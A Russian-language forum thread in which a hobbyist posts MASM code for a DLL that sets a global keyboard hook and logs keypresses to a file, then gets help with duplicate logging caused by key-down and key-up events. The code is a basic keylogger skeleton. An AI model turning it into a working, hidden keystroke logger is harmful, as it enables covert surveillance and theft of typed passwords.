Хук перехватывает нажатую клаву, потом идет в процесс обработки, там идет запись клавы в файл. Но в файл записывается два символа одной клавы. Вопрос: ПОЧЕМУЖЕ ТАААК????Что ток не делал.... Если все это добро проганяю через отладчик - то все нормально работает, когда работает самостоятельно - дублирует символы... Подскажите ПОЖАЛУЙСТА!!!!! Что не так??? Код (Text): .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data FName db "Log.txt",0 HandleFile DWORD ? DLLHandle DWORD ? ;Хендел длл hWnd DWORD ? ; Хендел installHook HendleHook DWORD ? cWritten DWORD ? KeyGoFile db "q",0 .code DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD push hInst pop DLLHandle call CreateF mov eax,TRUE ret DllEntry Endp ;##################################################################### ############################################ ;###########====Запись в ФАЙЛ==================== WriteF proc invoke WriteFile, HandleFile , ADDR KeyGoFile,1, ADDR cWritten, NULL ret WriteF endp ;==================Создание файла============== CreateF proc invoke CreateFile, ADDR FName, GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 push eax pop HandleFile ret CreateF endp ;=====================ОБРАБОТКА СООБЩЕНИЯ===================== ObrMess proc nCode:DWORD, wParam:DWORD,lParam:DWORD mov eax, wParam .if eax==81 Call WriteF .endif invoke CallNextHookEx, HendleHook, nCode,wParam,lParam ret ObrMess endp ;=================УСТАНОВКА ХУКА======================= InstallHook proc hwnd:DWORD push hwnd pop hWnd invoke SetWindowsHookEx, WH_KEYBOARD, Addr ObrMess,DLLHandle, NULL mov HendleHook, eax ret InstallHook endp End DllEntry
"ПАТАМУШТА" один на KEYDOWN, другой на KEYUP Глянь в мсдн и обрати внимание на старший бит lParam. А также заодно на nCode = HC_NOREMOVE, при котором можно тоже дублирование схлопотать, если прога прога вздумает заюзать PeekMessage c PM_NOREMOVE
Leo Спасиб конечно..... Нэт тупит - не могу открыть мсдн(((В наличии его нет Подскажи пожалуйста, как исправить в коде? где что поменять? СПАСИБО!
HELP ME PLSSSSSS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ДА Я ЭТО ПОНЯЛ, ЧТО НАДО ТАК, И ПЫТАЛСЯ - НО БЕЗ УСПЕШНО(((((((((((((((((((((((((((((( Люди добрые, ткните носом меня.... Покажите код Я еще вот как пытался: Если в lParam отвечает за За кейуп и кейдовн, то в последнем бай должно быть 1 или 0 Ставил условие если ноль, то не записывать, но тогда ВООБЩЕ не получается... mov ecx, lParam mov eax, wParam .if cl==1 .if eax==81 функция записи .endif .endif
На часах 1:10 ночи... Эта проблема меня уже заканала.... Спать спокойно не могу. Прошу вАС!!! Помогите решить проблему........
Интернет конечно вещь мощная, но азбуку все-таки в школе учат. Читаешь, пробуешь, потом только спрашиваешь. Твой вопрос все нормальные программисты решали в пору своей юности, не задавая ни одного вопроса- все решает поиск и УМ. Или вы ошиблись с выбором профессии
Valterg Професиия у меня Технолог продукции общественного питания. Программирую толька из-за интереса, это типа хоББи. .........................
За все время на даной теме, могу сказать спасибо одному человеку! LEO!!! Показал в какую сторону надо копать. Проблему решил сам!!!!!!!!!!!
да ты не реально крутой!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! но всем как говориться .... А мне показалось, вы еще в школе, как страшно жить! А вот теперь ссерьезно, какой ммысл помогоать, если 1. ответ очевидет 2. в отладчики его увидишь сразу. 3. Он тебя не научит ( а раз уж это хобби, то готовые решения тебе не нужны). Какой смысл то? за тебя каждую тривиальную проблемку решать ? или код еще писать. Про каждый "if" будешь на форуме спрашивать?
Spa У меня проблема заключалась в следующем: как говориться в справочники lParam -это структура данных. 31 бит = 0 значит клавиша нажата, если 1 - то отжата. Почему то на кейдовн и на кей уп она равнялась 1. Т.е. не изменялась. И тут я встал в тупик.....Потому просил помощи.
beginerHacker Ну так вопрос бы так и задавали, а то одни !!!!!!!!!!!! и "помогите", сами понимаете какое впечатление это оставляет, надо четко задачу/проблемы пути по которым вы ее пробовали решить вот и все. Просто такие и подобные вопросы, на самом деле не редкость, и всем уже приелись, поэтому чем больше вы сначала поищете в гугле, попробуете сами, и чем конкретней поставите проблему, тем больше вероятность что вам ответят (или хотя бы попытаются).